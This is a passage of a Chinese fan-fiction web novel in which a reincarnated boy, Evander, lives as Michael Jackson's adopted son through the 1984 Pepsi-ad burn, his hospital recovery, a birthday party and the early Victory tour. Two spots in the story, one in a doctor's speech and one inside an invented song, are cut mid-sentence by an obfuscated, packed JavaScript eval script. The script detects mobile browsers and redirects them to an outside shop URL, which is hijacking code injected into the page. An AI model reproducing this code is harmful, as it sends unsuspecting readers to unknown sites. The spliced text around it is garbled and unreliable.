比尔有些为难——他不知道该怎么向这个孩子解释成年人之间的矛盾。 “孩子,很多时候,我不能想说什么就说什么……” 所有人都知道比尔是迈克尔的安全主管,他已经陪伴了迈克尔许多年了,就像是迈克尔的家人一样。有时,比尔说的话和他的行为一定程度上可以代表迈克尔的意志,甚至被有心人过度解读。 “……OK,那就让我们再来一遍……” 导演再次开始了。 埃凡德猛地冲了出去,想要扰乱拍摄;但比尔本来就一直关注着状态不对劲孩子,于是埃凡德还没能冲出去几米,就被比尔牢牢制住了。 “孩子,你到底怎么了?冷静下来,好吗!” “放开我!”埃凡德几乎是在尖叫了——可台下“观众”的欢呼声太过响亮,他的尖叫如同一滴流进大海的水,掀不起一点波澜,“迈克尔,迈克尔!” 无人听闻的尖叫仿佛是一个信号,舞台上的骚乱开始了。 事故是在短短十几秒内发生的。一开始,没人发现迈克尔的头发着火了,直到他从阶梯上快步走下,然后突然倒在地上开始惨叫,几个兄弟才骇然地扑了上去。 “迈克尔,迈克尔!” “快叫救护车!” “来人啊,救命啊,着火了!” “别围着他了!” 比尔愣了一下,而后几乎是把埃凡德摔在了地上,有些踉跄地朝着舞台上冲去。 埃凡德也顾不上身体的疼痛,用自己最快的速度冲向人群,中途差点被绊倒,还被好几只脚踩在手上和脚上。 凭借着小体型的优势,埃凡德成功从人群的缝隙里挤到了迈克尔的身边。 歌星穿着蓝色亮片的衣服,英俊的五官因为痛苦而扭曲。他还没有昏过去——这恰恰才是最残忍的。 “迈克尔,迈克尔……” 埃凡德紧紧抓住迈克尔的手。男人下意识地回握,可痛苦剥夺了他对细节的感知,他力气大得仿佛要把埃凡德的骨头捏断。 他当然感觉得到疼痛,但是迈克尔此刻的痛苦只会是他的千倍、万倍。 当烈火灼烧你的身体,你可以感觉到它如附骨之蛆般蔓延,而你能做的只有惨叫和无意义地挣扎……你甚至能够闻到自己的皮肉被烧焦的恶心味道,听见自己陌生、破碎、毫无尊严的声音。你知道你应该昏过去,但你没有,你清醒地、完整地、一秒不落地感受着这场折磨,仿佛地狱专门为你延长了每一瞬。 ——这一点,埃凡德都已经切身地体会过了。 埃凡德想说些什么——他的惭愧,他的后悔,他的痛苦,他的抱 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迈克尔的兄弟姐妹们已经数次将目光凝聚在埃凡德的身上,纷纷露出一种悲伤和痛苦的神情。 乔没有对此做出任何表示,好像埃凡德对他来说只是空气。 “不,不,”埃凡德痛苦地大口呼吸着,眼眶又开始止不住地湿润,“我就在这儿等着他。” 好在,这煎熬结束了。 门上的红灯变绿,头发花白的医生从纯白的监牢中走了出来,宣告命运的审判: “杰克逊……迈克尔先生的情况已经暂时稳定下来了。目前我们还要对他进行一段时间的观察。” “他的头部和面部有二至三级的烧伤……” “我只有一个问题要问,医生,”乔先是松了一口气,然后毫不客气地打断了医生的话语,“我的儿子,迈克尔,他还能够上台演出吗?” 凯瑟琳、拉托亚、杰基、马龙……在场的人,甚至包括医生,都露出了一副不可置信的表情。 “恕我冒昧,先生,”医生深呼吸了一下,“你的儿子差点就死了……” “我了解我的孩子——只有演出才是他生命的意义,他不能离开舞台。” 埃凡德一直憋在心里情绪终于爆发了。 “你这个该死的……!” 埃凡德再一次高声尖叫起来,刺耳的音调如同协奏曲里的不和谐音,在安静的走廊里回荡。 他死死地盯着乔,原本惨白的脸色因为愤怒而浮上不健康的红,浑身上下控制不住地剧烈颤抖起来。 “你这个该死的吸血鬼!水蛭!恶魔!” 在过去的几个小时里,他的血脉骨肉经历了怎样的痛苦与绝望啊……光是回想起来,噩梦之中的死亡就会又一次让埃凡德浑身颤抖。 ——可眼前的男人却依然只想着迈克尔对他有什么价值。 愤怒的埃凡德几乎是撞在了乔的身上——乔被这突如其来袭击撞飞到墙上,发出“砰”的一声响,随后就是痛苦的呻吟以及叫骂: “你这个贱.种……” 场面顿时混乱起来。 比尔一个健步捞起了埃凡德,把他迅速带离了现场——他不愿意赌乔是否会顾忌脸面而忍住不去殴打一个孩子: “好了,孩子,冷静下来,我先带你去处理伤口,然后我们去见迈克尔……” 以杰基为首的几个男人则拦住了愤怒的乔,避免他因为怒火上头做出更加过激的举动。 乔很快冷静下来,龇牙咧嘴地去摸自己背部的骨头。 “法(美利坚粗口),那个小鬼的力气怎么这么大!” ————————— 本章注释: 1.一个6岁孩子再怎么用力也不可能把一个强壮的成年男人创飞,埃凡德是魔力暴动了。 2.乔和医生的对话是按照电影写的,但是我忘记具体台词了,反正大概是这么个意思。 5. 爱是最伟大的魔法 百事可乐广告拍摄的事故上了新闻,很快,几乎整个美国都知道迈克尔·杰克逊重伤住院了。 粉丝们把医院围了个水泄不通。他们有的人眼带泪光,有的人举着自制的标牌,有的正大声喊着迈克尔的名字。 比尔特意确保埃凡德和乔是错开来探望迈克尔的——不论是出于安全考虑,还是希望迈克尔能够安心养伤。 埃凡德进到病房里的时候,迈克尔刚和主治医生说完话,正有些恹恹不乐地放空了目光,不知道在想什么。 埃凡德轻手轻脚地走到病床边,确保自己没有压到迈克尔身体的任何一个部位、也没有压到医疗仪器的电线之后,坐在了他的床沿上。 “嘿,小预言家,”迈克尔终于露出一个浅浅的微笑,“再次见到你真好。” 他主动伸出手,握住了埃凡德的手——然后就发现了碘伏的痕迹。 那才不是什么预言呢。埃凡德有些难过地想。 “你受伤了?” 迈克尔关切地问。 “只是摔倒了,不疼,”埃凡德用没被握住的那只手拍了拍迈克尔的手,“凯瑟琳他们帮我上了药。” 随后,病房里再次安静下来。 过了一会儿,埃凡德终于下定决心开口: “迈克尔……”/“埃凡德……” 异口同声的情况让两个人都顿住了。迈克尔又一次微笑起来——他现在非常疲惫,而且伤口很疼,没有力气大笑了。 “你先说吧。” 埃凡德看着迈克尔的眼睛——没有了妆容的粉饰,迈克尔看起来憔悴极了。那双纯真而明亮的黑色眼睛,此刻正微微敛着,没精打采,似乎随时就会睡去。 埃凡德又想哭了。他并不是什么十分感性的人,或许是因为身体变小了,他没办法控制好情绪。 他强忍住哭泣的感觉,声音却还是有些哽咽: “对不起,迈克尔。” 说完这两个单词,埃凡德已经失去了所有勇气。愧疚和自责吞没了这个孩子。 “我明明知道你会受伤……我明明可以阻止你。” “Gee,”迈克尔直起了身体,松开埃凡德的手,用双手捧住他的脸,大拇指在眼角轻轻摩挲,“这怎么能怪你呢,埃凡德?” 埃凡德想摇头,但他的头被迈克尔限制住了。 “看着我的眼睛,好吗?” 埃凡德抬头,对上迈克尔的目光。 相较于刚才的有气无力,现在,迈克尔特意瞪大了眼睛,那双眼睛像两盏被重新点燃的灯。 他盯着埃凡德的眼睛看——眼睛是心灵的窗户,迈克尔希望埃凡德能读懂他的心。 “这不是你的错,你没有做错任何事。你提醒过我了——是我没有相信。” “开始拍摄之后我也有机会,”埃凡德瘪了瘪嘴,“我什么都没做到……” “大人们总是不重视孩子的话,这不是你的问题,埃凡德,”迈克尔的眼里似乎也泛起了泪光,但嘴角始终挂着那个安抚的、温柔的弧度,“你知道吗——当我疼得在地上打滚的时候,当我在生死边缘徘徊的时候,我听见了你的声音。” “I hear you,Evander.” “我听见你在哭,我听见你一直在叫我的名字……所以我想,我一定要回到你身边,宝贝。我怎么能丢下你一个人呢?” “因为你的呼唤,所以我回到了人间。我无法想象,如果没有你,我会变成什么样。谢谢你。” 埃凡德知道迈克尔是在安慰自己——哪怕没有他,迈克尔自己也能挺过来。 但当埃凡德听见这番话,心中最柔软、最脆弱的部分依然被戳中了。一个人,在遭遇了如此的不幸之后,依然善良地宽慰他人——或许他的的确确是降临人间的、受难的天使。 他几乎有一种要将一切都告诉他的冲动:告诉他自己是一个穿越过来的人,告诉他自己曾经看过他的传记电影,告诉他他会英年早逝…… 埃凡德响亮地吸了吸鼻子,终于还是忍不住呜呜哭了起来。 “嘿,嘿,小天使,”迈克尔用袖子温柔而仔细地擦着他的脸,“别哭了,好吗?你让我也要难过起来了——医生说乐观的情绪才有利于康复。” “我不哭!” 埃凡德深吸几口气,憋住了眼泪和哭腔,同时也压下了刚才那种冲动的情感。他试图找一些别的话题来转移注意,不再去想刚才迈克尔温柔的安慰。 “很疼吗?是不是要打麻药?” “是啊,很疼,我感觉我没办法睡着……”迈克尔故意轻描淡写地说着,但埃凡德还是能听出其中的不自然,“我不想打药,那会让我不再是我自己……但是医生说我必须这么做……” 迈克尔总是这样。有时显得很成熟,仿佛看透了人心,还会教给埃凡德一些生命的道理;可有时又会显得很幼稚,像个孩子,把自己的弱点毫无保留地展现出来,希望能被人哄。 “我要做一个医生,”埃凡德下定决心道,“这样我就可以治好你了。” “那我会一直等你的,”迈克尔许下承诺,而后低下头,撒娇般地说,“帮我吹吹伤口吧,医生——这样就没那么疼了。” 埃凡德多希望这是真的。他轻轻朝着伤口“呼呼”了两下,只比呼吸稍微重了一些。 “哦……”迈克尔有些惊讶地出声,“真的没有那么疼了!难道你是个魔法师?不仅会预言,还会治疗伤口。” “真的?”埃凡德狐疑地看着不靠谱的成年人,并不相信他所说的话,“你又在哄我吧。” “真的,”迈克尔开心地笑了笑,掀开被子的一角,给埃凡德腾出空位,“你能陪着我吗?我感觉我现在应该可以睡着了。” 埃凡德轻手轻脚地上了床,把自己缩在床的边沿。迈克尔却不管不顾地把他伸手揽进怀里,轻轻吻了一下他的发顶。 “晚安,小魔法师。” “晚安,迈克尔。” 或许是压力的爆发、长时间的哭泣和情绪的大起大落,埃凡德很快就睡着了。 等他再次醒来,病房的窗帘缝隙里已经透进了晨曦的暖阳。他不知什么时候改变了姿势,现在正面朝着迈克尔。 迈克尔还没有醒,病痛让他难得能够睡着。埃凡德不由得放轻了呼吸,哪怕身体有些发麻,也僵着一动不动,生怕吵醒了酣睡的人。 ………… 在医院康复期间,迈克尔常常去探望其他被烧伤的病人。他常常和安全主管比尔、还有他的法律顾问约翰这样说: “我还拥有康复的可能,可躺在这里的其他病人,他们的希望是如此渺小。我觉得我应该为他们做些什么——我一定要为他们做些什么。” 最终,百事可乐给出的150万赔偿款全部被他捐献给了医院。 1984年的1月就这样过去了。唯一不同寻常的事情是:迈克尔坚持每天抱着埃凡德睡觉,如果埃凡德不在身边,他就没办法安然入睡。 埃凡德一开始还觉得这是迈克尔的心理作用——人的主观能动性是很强的;可到了后来,就连医生也疑惑于迈克尔异常的康复速度时,埃凡德的心里有了另一个不可思议的猜测: ——难道他真有什么治疗的异能? 他背着所有人在厕所里偷偷试验。 他先是用剪刀在指尖划开一个小小的口子,心中一直想着“治疗伤口”,然后,神奇的事情发生了: ——伤口在两秒钟之内自行愈合了! 在发现这一点后,埃凡德开始更加主动地使用自己的能力——咳咳,就是盯着迈克尔“念咒”。 他心中有了一些打算——这个神奇的能力给了他这个窗口。 在旁人看来,就是埃凡德常常看着迈克尔发呆。大家都能理解,差点失去父亲的孩子的依赖嘛! 只有迈克尔似乎猜到了些什么。他开始更加频繁地称呼埃凡德为“小魔法师”,然后乐此不疲地欣赏男孩那副“秘密被发现了”的紧张神情,直到埃凡德被他看得炸毛。 可两个人谁都没有指出玩笑与真实之间的分界线——就像是朋友之间心照不宣的默契。 ………… “杰克逊先生,我不得不说,这是我职业生涯中见过最不可思议的康复速度之一。” 医生推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552664|204369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了推眼镜,反复核对着手中的数据。 “植皮区域的成活率近乎完美,新生组织的生长速度远超预期。按照这个趋势,您或许不需要进行第三次植皮手术了。” 迈克尔靠在病床上,他的头上还缠着绷带,但那双眼睛已经完全恢复了往日的明亮。 他转过头,冲坐在窗边看书的埃凡德眨了眨眼——他还是没学会怎么wink。 埃凡德把书举高了一点,挡住自己忍不住上扬的嘴角。 “不过,”医生合上报告,语气变得审慎起来,“我必须再次强调,即使创面恢复良好,后续的治疗……” “我明白,医生,”迈克尔点点头声音平静,“但至少我可以出院了,对吗?” 等医生离开后,埃凡德放下书,从椅子上跳下来,走到病床边。 “你确定不再多住几天吗?” 他皱着脸,语气听起来像一个成熟稳重的大人。凯瑟琳曾经心疼地和迈克尔说,埃凡德似乎一夜之间长大了不少;可只有埃凡德自己知道,这才是他本来应该有的样子。 “艾娃,”迈克尔伸出手,轻轻握住男孩的手腕,“我不喜欢消毒水的味道,你知道的。” 他的拇指轻轻摩挲着埃凡德的手背,那里曾经摔倒和踩踏留下的伤痕早已消失不见。 “我想和你一起回家,”迈克尔说,“我想给你看看Neverland的设计图纸——比尔昨天把建筑师的第一版方案送过来了。” “那是一个所有孩子都会喜欢的地方,”迈克尔的眼睛亮了起来,那种光芒甚至盖过了病痛的阴霾,“有摩天轮、有旋转木马、有小火车、有电影院……还有一个专门的动物园。我要在那里建造一个童话城堡,所有生病的孩子都可以免费来玩。” 他说得那么认真,那么急切,仿佛已经看到了那座庄园拔地而起的模样。 “你会喜欢吗,艾娃?”迈克尔忽然有些不确定地问,声音里带着一点孩子气的忐忑。 “听起来很棒。” 埃凡德肯定地回答迈克尔,没有犹豫哪怕一下。 迈克尔的脸上绽开了一个笑容——他终于又像之前那样,露出标准的八齿笑了。 “埃凡德。” 迈克尔忽然开口。 “嗯哼?” “谢谢你。” “又说谢谢。” “那就换一句话?” “什么?” “I love you.” 埃凡德没有如同迈克尔想象的那般不好意思,或者脸红。他很认真地说: “I love you,too,Michael.” ——我想让你好起来。 ——我想让你不再经历痛苦和折磨。 ——我想让你可以继续唱歌,继续跳舞,继续爱这个世界。 ………… 迈克尔办理出院手续的消息不知怎么传了出去,医院门口聚集了大量的媒体记者和粉丝。 比尔提前安排了安保人员,试图在人群中开辟出一条通往保姆车的通道。 但当迈克尔真正走出医院大门的那一刻,所有人都安静了下来。 他穿着简单的黑色外套,戴着一顶软呢帽子遮住了绷带,脸上重新画好了精致的妆容——巨星不会让自己不完美的形象出现在公众面前。 他比之前消瘦了许多,但他的微笑一如往常——那种迈克尔·杰克逊独有的、温柔的、有些腼腆的微笑。 他没有说话,只是向人群挥了挥手。 人群中爆发出一阵欢呼,夹杂着“我爱你迈克尔”的哭喊声。有粉丝举起自制的标语牌,上面写着“上帝保佑你”、“我们永远在这里”。 埃凡德被迈克尔抱在怀里。他和粉丝们对上目光,感到自己被浸泡在纯粹的爱中——对迈克尔的爱。 镁光灯疯狂闪烁,将不会动弹的时光永远定格。 ——————————— 本章注释: 1.烧伤后遗症还是没能解决,但是暂且让MJ轻松一些吧。 2.康复时间线和捐款时间线是我杜撰的,当做私设。 6. 生日快乐,奇异男孩 “胜利巡演”的第一场被定在堪萨斯州,7月6日。 几天前,埃凡德在恩西诺的庄园正式度过了他的6岁的生日——和杰克逊家的所有人一起,包括乔。 迈克尔非常重视埃凡德每一年的生日——因为他的童年从没有过这种简单纯粹的幸福和快乐。 所以当兰迪提出“邀请埃凡德的朋友来庄园里玩”时,迈克尔才难过地发现,男孩根本没有同龄的朋友——就像曾经的自己一样。 迈克尔在这些时日里注意到了埃凡德的不同寻常: 除去本身的性格和一些习惯性的行为,埃凡德在他面前表现出了惊人的一面。他变得更加成熟,而且知道一些他没有渠道学习、迈克尔也不会告诉他的知识。 迈克尔明白,这是一种信任的表现,而他不应该辜负这种宝贵的感情。而且,即便埃凡德身上有什么神异之处,他都是埃凡德的父亲,他理应接受、尊重并理解这一切。 尽管埃凡德不是一般的孩子,但是埃凡德应该和他不一样才对:他不用为了逃离贫民窟的命运而日夜奋斗,他在别人眼里不应该成为一个被妖魔化的“符号”…… 迈克尔决心不要让埃凡德成为第二个自己,所以他很快想到了一个办法:他利用巨星的号召力,联系了几所学校,请他们在6月25号这一天带着学生到庄园里来玩。 这些举动当然是征得了家人的同意的——包括乔。 迈克尔的伤势让家人们久违的齐聚一堂,他们同样也看到了之前埃凡德有多么牵挂迈克尔,尽管埃凡德和他们并没有真正的血缘关系,但他值得被当做他们之中的一员。 乔在和埃凡德发生冲突之后什么都没说——不知道是因为他觉得没必要和一个小孩子计较,还是凯瑟琳对他说了些什么。总之,虽然乔的态度变得冷淡了许多,但也没有表现出不可挽回的敌视。 然而,事情并没有如同迈克尔想象的那般顺利进行。 这不是说其中发生了什么变故——似乎是烧伤事故将迈克尔这一年的厄运都占完了,6月25日这一天的活动都非常平安。 关键在于埃凡德的态度。 在开始的两个小时内,埃凡德表现出预料之中的情绪高涨。当迈克尔带着孩子们一起为他唱生日歌时,他笑的非常灿烂,任谁都能看得出来他非常感动。 而当吹蜡烛、分蛋糕、抹奶油等乱七八糟的游戏环节结束后,孩子们如迈克尔所愿的和埃凡德开始交流起来时,迈克尔才真正发现问题。 首先,孩子们是有自己的交际圈的。迈克尔匆忙之下的决定完全忽略了这一点——平时相互熟悉的孩子们在处于一个陌生的环境时,小团体的现象反而会更加明显。 埃凡德尝试了和孩子们交谈,但孩子们往往说着说着就开始隐隐约约地将他排除在外——尽管他们对埃凡德很热情,但埃凡德就是融不进去那个圈子。 埃凡德没有因此而感到不高兴。他就像是迈克尔在过去几年里参加的任何一个宴会的主人一样,体面而礼貌地搭话,试图保证客人们都能得到应有的享受。 其次,是埃凡德自己的性格。 迈克尔第一次发现,原来要走进男孩的心是如此困难。 名为多米尼克的黑人男孩和他聊起说唱,埃凡德每次都能恰到好处地接上对方的话题——但迈克尔心里清楚,埃凡德最不感兴趣的音乐形式恐怕就是说唱了,平时他听它们的次数屈指可数; 名为伊丽莎白的白人女孩和他聊起歌剧、话剧、舞台剧,埃凡德这一次倒是显得热情了一些——他很喜欢这些古典的舞台形式,但当埃凡德无意开始谈起剧本中的哲思时,伊丽莎白露出了茫然和不明觉厉的表情,于是埃凡德又把话题拐回浮于表面的方向了; 还有名为唐的亚裔男孩,他一上来就滔滔不绝地表现着对于迈克尔的崇拜,埃凡德对此没有表现出任何不耐烦,反而兴致勃勃地和他分享了一些迈克尔创作中的趣事,引来阵阵“真的吗”“酷”的惊呼,完全没注意到埃凡德一点也没有谈到自己、谈到他。 迈克尔先是惊讶于埃凡德的社交天赋——或许其中有“迈克尔的儿子”的身份的影响,但埃凡德总是知道如何能够让身边的人对他充满好感。 再后,迈克尔开始感到疑惑与后悔。 他突然发觉自己正在做一件自己非常不喜欢的事:自以为是的将自己的意愿强加于孩子的身上。 就像是乔没有询问他的意见,就命令他继续参加这一次胜利之旅和百事可乐广告的拍摄;就像是母亲不得不无视他内心的痛苦,苦苦维持着这个家的和平。 现在,他也正在做同样的事。埃凡德和迈克尔一样是特殊的,他不能强行将埃凡德塞进一个普通孩子的模具里,强迫他去交朋友、强迫他“像一个普通孩子一样”。 所以,当埃凡德强忍着疲惫,带着笑容送走了兴奋和恋恋不舍的孩子们时,他就得到了一个表情莫名的迈克尔·杰克逊。 他应该立刻关怀迈克尔的想法、询问他怎么了——埃凡德知道迈克尔是一个非常敏感的人,如果他不再时时刻刻关注迈克尔,迈克尔可能会误将这种行为当做两人关系疏远的信号。 “我有点累,迈克尔,”埃凡德主动拉住迈克尔的手,“我们可以先去洗澡吗?这样我就可以躺在床上和你谈话了。” 一天高强度的社交让埃凡德累的不行——他几乎是一个人在应对几十个孩子,还要随时关切小豆丁们的情绪,不让他们吵起来、打起来、或者随意胡闹伤到迈克尔。 好几次几个小鬼头都差点用东西砸到了迈克尔的头,埃凡德当时严厉地训斥了他们,然后立刻好声好气地安慰——打一巴掌给一个甜枣。 于是,等他洗漱好、吹干头发躺在床上的时候,才发现迈克尔已经很长时间都没说一句话了。 ……好吧,这儿还有个大孩子等着安慰呢。 “发生什么了,彼得·潘?”埃凡德翻了个身,让自己面对着迈克尔,“你看起来很低落。” “对不起,艾娃。” 没头没尾的道歉。 “为什么我们总是在互相说抱歉和谢谢?”埃凡德毫不在意地说,“你知道我永远爱你,迈克尔。” “我看的出来你很疲惫,”迈克尔不安地摆弄着埃凡德已经留长了的黑色卷发——不是迈克尔的那种卷发,它们看起来更加柔顺一些,“我不应该一厢情愿地把孩子们叫过来……我以为你会需要一个同龄的朋友。” “你是对的,我的确会需要朋友,迈克尔,”埃凡德没有让迈克尔继续自怨自艾下去,“我总会有朋友的——人没办法独自一个人度过一生,孤独会使人疯狂。” “小哲学家,”迈克尔被男孩一本正经说大道理的样子逗笑了,心情似乎缓和了一些,“但是他们都不会成为你的朋友,对吧?” “他们当然是我的朋友——只要不是我特别讨厌的人,都是我的朋友。但是他们不会成为我真正的朋友——那种交心的朋友。” “我明白你的意思。你说的总是对的,埃凡德——你总是让我哑口无言,”迈克尔亲了一下埃凡德的额头,“你的身体里住着一个成熟的灵魂……这有时候让我感到悲伤。我有时候希望自己永远可以做一个无忧无虑的孩子——不过我看不透你的想法。” 埃凡德只感觉自己的心跳都停了一下,而后如同汽车的马达一样,剧烈地轰鸣起来。 埃凡德刚刚来到这个世界的时候,本来打算将这个秘密带进自己的第二个坟墓。 穿越时空,更换身体,返老还童……哪怕埃凡德本人并不了解个中的详细缘由,只要这件事情被泄露出去,等待他的必将是永无止境的追踪、监控、研究…… 他将不再是一个拥有自由和尊严的人,而是作为一把打开潘多拉魔盒的钥匙。 可是在近4年的相处过程中,他看见了迈克尔·杰克逊是一个怎样的人: 他会去医院看望患病的孩子,陪他们说话、做游戏,但并不是为了博取虚名。每当他结束探望,总是会和比尔、和埃凡德不断诉说着他心中对于孩子们的喜爱和怜悯,希望他们能够快点好起来; 他会直接拿着钱分发给街边的流浪汉,从不在意他们肮脏的身体和粗鲁的动作。不论他们究竟是不得已落魄的可怜人、还是单纯不想努力的懒汉,他都不吝啬自己的善意,希望他们能多得到一天的幸福; 他会在繁星密布的夜晚,在灯光之下为埃凡德轻声细语地读绘本——虽然有时候他会不自觉地越读越快,让埃凡德不由得怀疑他其实根本就是自己想读; 他对音乐和舞蹈保持着永远纯粹的热爱,是个名副其实的完美主义者,对每一个舞步、每一个音符都精益求精,常常废寝忘食到需要人强迫他去休息; 他对一切的争斗、伤害、恶意都秉承着忧伤和反对的态度,坚持用歌声去呼吁人们心中爱、和平与善良。 埃凡德相信自己看到的东西——作为迈克尔的孩子,他几乎可以说是无时不刻陪伴在他身边。他所观察到的这些特质,不可能是伪装出来的。 这又唤起了埃凡德心中那个隐秘的期待: 或许,他真的可以向迈克尔敞开心扉。他可以不用将隐秘的畏惧永远埋在心底,可以真正地融入这个世界,可以真这个名为“埃凡德·杰克逊”的崭新人生,而不是惧怕被发现自己曾经是另一个人。 不要去爱一个只对你好的人,而要去爱一个本身就很好的人。 “……你说对了,迈克尔,”埃凡德把脸埋进了迈克尔的胸膛里,故意用一种很轻松的语气道,“其实我原本是另一个世界的人,意外死去之后重生在这个世界上的。” 他为自己想好了退路——如果迈克尔相信了他的话,并且做出了什么伤害他的事,自己就可以顺着往下胡编乱造来让别人觉得“这只不过是个玩笑”。从此以后,他会表现得像是一个真正的、有些早熟的孩子。 等待回答的时间或许只有几秒,但这对埃凡德来说,简直像是在眼睁睁看着自己从高空坠落那样煎熬。 “难怪你总是给我这么多惊喜,”迈克尔用手轻轻梳理着埃凡德的头发,和往常并没有什么不同,“那我以后该怎么称呼你呢?奇异男孩(Boy Strange)?” 【——他没有相信我说的话,只是觉得我确实有某种不同寻常的力量。】 “随便你吧,”埃凡德松了一口气,压下心中那种不知是失望还是侥幸的感觉,“晚安,迈克尔。” “你不向我要生日礼物吗?” 迈克尔的声音很惊讶。 “什么?”埃凡德同样惊讶而且疑惑,“原来费那么大劲把孩子们都叫过来陪我不是你给我的生日礼物?” 迈克尔被逗笑了,看起来非常得意。 “当然不是!” “那你给我准备了什么?” “一首歌,小魔法师。” 迈克尔轻轻地说,然后关上了灯。 当视觉被剥夺,人的其他感官就会变得格外敏锐。在黑暗之中,埃凡德感受到迈克尔温热的身体,感受到他轻柔的呼吸…… “睡吧,我把它当成摇篮曲唱给你听。” “好,”埃凡德闭上眼睛,“它叫什么名字?” “《Don''t cry for me》.(请别为我哭泣)” 没有乐器的伴奏,迈克尔的声音轻柔而清亮,更像是他平时说话的声音。 “Lying here beside you in the quiet dark “静谧夜色里我静静陪在你身旁 Quietly I listen to your gentle heart 轻轻聆听着 你温柔跳动的心房 You came into my world like a shining star 你像一颗星辰降临到我的世界 No question, no reason, you''re where you are 不问缘由不问过往 你就在我身旁 All the noise and the lights, they can fade away 喧嚣与灯光都可以渐渐消散 When I look in your eyes, all the hurt goes ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552665|204369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' away 望着你双眼 所有伤痛都不见 I''ve been broken and bruised, I''ve been lost in the rain 我曾伤痕累累曾在雨中迷失方向 But you found me, and you loved me the same 可你找到了我依然爱着我 So close your tired eyes 闭上你疲惫的双眼 Let me hold you tonight 今夜让我抱着你 No need to fear, no need to fight 不必害怕不必挣扎 Don''t cry for me, my little one 别为我哭泣我的小宝贝 I''m right here, I won''t be gone 我就在这里永远不离开 Through the fire, through the pain 穿越烈火穿越伤痛 I''ll keep you safe from harm 我会守护你远离所有伤害 Don''t cry for me, my precious one 别为我哭泣我最珍贵的你 Your love is where my heart belongs 你的爱是我心之所向 In your smile, I believe 在你的笑容里我深信不疑 In you, I''mplete 因为有你我才完整 I never knew love could feel so real 我从未知晓爱能如此真切 You''re the part of me I never thought I''d see 你是我生命中未曾奢望的圆满 All the emptiness fades when you''re next to me 有你在身边所有空虚都消散 You''re my miracle, you''re my destiny 你是我的奇迹是我的宿命 I''ll give you my world, I''ll give you everything 我愿给你全世界给你我的一切 Build you a home where your heart can sing 为你建造一个家让心灵放声歌唱 No more tears, no more fears, just you and me 不再有泪水不再有恐惧只有我和你 Forever together, you''re my family 永远相伴你就是我的家人 So close your tired eyes 闭上你疲惫的双眼 Let me hold you tonight 今夜让我抱着你 No need to fear, no need to fight 不必害怕不必挣扎 Don''t cry for me, my little one 别为我哭泣我的小宝贝 I''m right here, I won''t be gone 我就在这里永远不离开 Through the fire, through the pain 穿越烈火穿越伤痛 I''ll keep you safe from harm 我会守护你远离所有伤害 Don''t cry for me, my precious one 别为我哭泣我最珍贵的你 Your love is where my heart belongs 你的爱是我心之所向 In your smile, I believe 在你的笑容里我深信不疑 In you, I''mplete 因为有你我才完整 When the world feels cold and the lights go down 当世界冰冷当灯火熄灭 You''re the warmth in my soul, you''re my sound 你是我灵魂的温暖是我的声音 I''ll carry you through every stormy day 我会带你走过每一个风雨日子 In my arms you will stay 永远留在我怀里 Don''t cry for me 别为我哭泣 I''m here……” 我就在这里……” 埃凡德已经沉沉地睡着了,眼角的泪光在月光的照耀下比钻石更加闪耀。 “Happy birthday,and good night.” ————————— 本章注释: 1.迈克尔小时候不过生日,但这并不是他不想过。 2.迈克尔对孩子真的是无底线的溺爱,被他们用东西砸到受伤的头也是一声不吭的。 3.“奇异男孩”来源于“奇异博士”,漫威的超级英雄。迈克尔是漫威的粉丝,曾经想买下漫威。 4.最后的歌词是自己编的,MJ没写这首歌。 7. 家有杰克逊 一切都是从马龙在舞台上朝埃凡德挤眉弄眼开始的。 杰克逊六兄弟(杰基,蒂托,杰梅因,马龙,迈克尔,兰迪,按年龄从大到小排序)本身就不是什么特别严肃正经的组合——如果你完整地看过两场以上他们的演唱会,就会发现他们甚至有固定的“小品”环节。 或许是黑人自带的种族天赋,不论是音乐还是搞笑,对他们来说都易如反掌。所以,当杰克逊兄弟们发现埃凡德和他们小时候完全相反,甚至还有些“不苟言笑”时,那种搞事的心情就熊熊燃烧起来了。 哦,埃凡德其实也不是一直这么“不苟言笑”的。 在他刚来到这个家里时,常常笑得见牙不见眼——他牙都还没有长全呢——只不过几个兄弟都有自己的孩子要带,这份笑容基本都给了迈克尔、珍妮特和凯瑟琳。 再加上在生日那天试探了迈克尔之后,埃凡德几乎一直在观察别人对他的态度变化,整个人都显得心绪沉重了很多……所以大家才会认为,他的性格比较安静。 而马龙又为什么会首先注意到这一点呢? 首先,值得注意的是,埃凡德是所有孩子(指迈克尔的子侄辈)里面唯一一个跟着他们跑世界巡演的。 不好说到底是迈克尔黏着埃凡德,还是埃凡德黏着迈克尔,总而言之,这是一个令人惊奇的事实。 因为埃凡德的年龄太小,不管是家里的哪一个大人都不可能同意把他一个人放在观众席,所以他就和老乔一样被安置在了后台。 不过埃凡德怎么可能就这么善罢甘休呢——这可是迈克尔·杰克逊的巡演!上辈子他出生没几年迈克尔就去世了,等他体会到这位天王巨星的魅力时,只徒留“君生我未生,我生君已老”的遗憾。这下子有了机会,他一定要大饱眼福。 所以,在征得了迈克尔的同意后,比尔为他安排了一个专门的椅子,方便他坐在舞台侧面观赏杰克逊兄弟们的表演。 在开始的一个星期内,埃凡德总是精神满满,甚至会津津有味地跟着台下的粉丝一起欢呼、合唱。杰克逊兄弟们甚至在表演结束之后都还能听见他哼唱迈克尔的歌——迈克尔还会兴致勃勃地和他一起唱。 然后,埃凡德的精力和热情就开始呈指数般下跌。 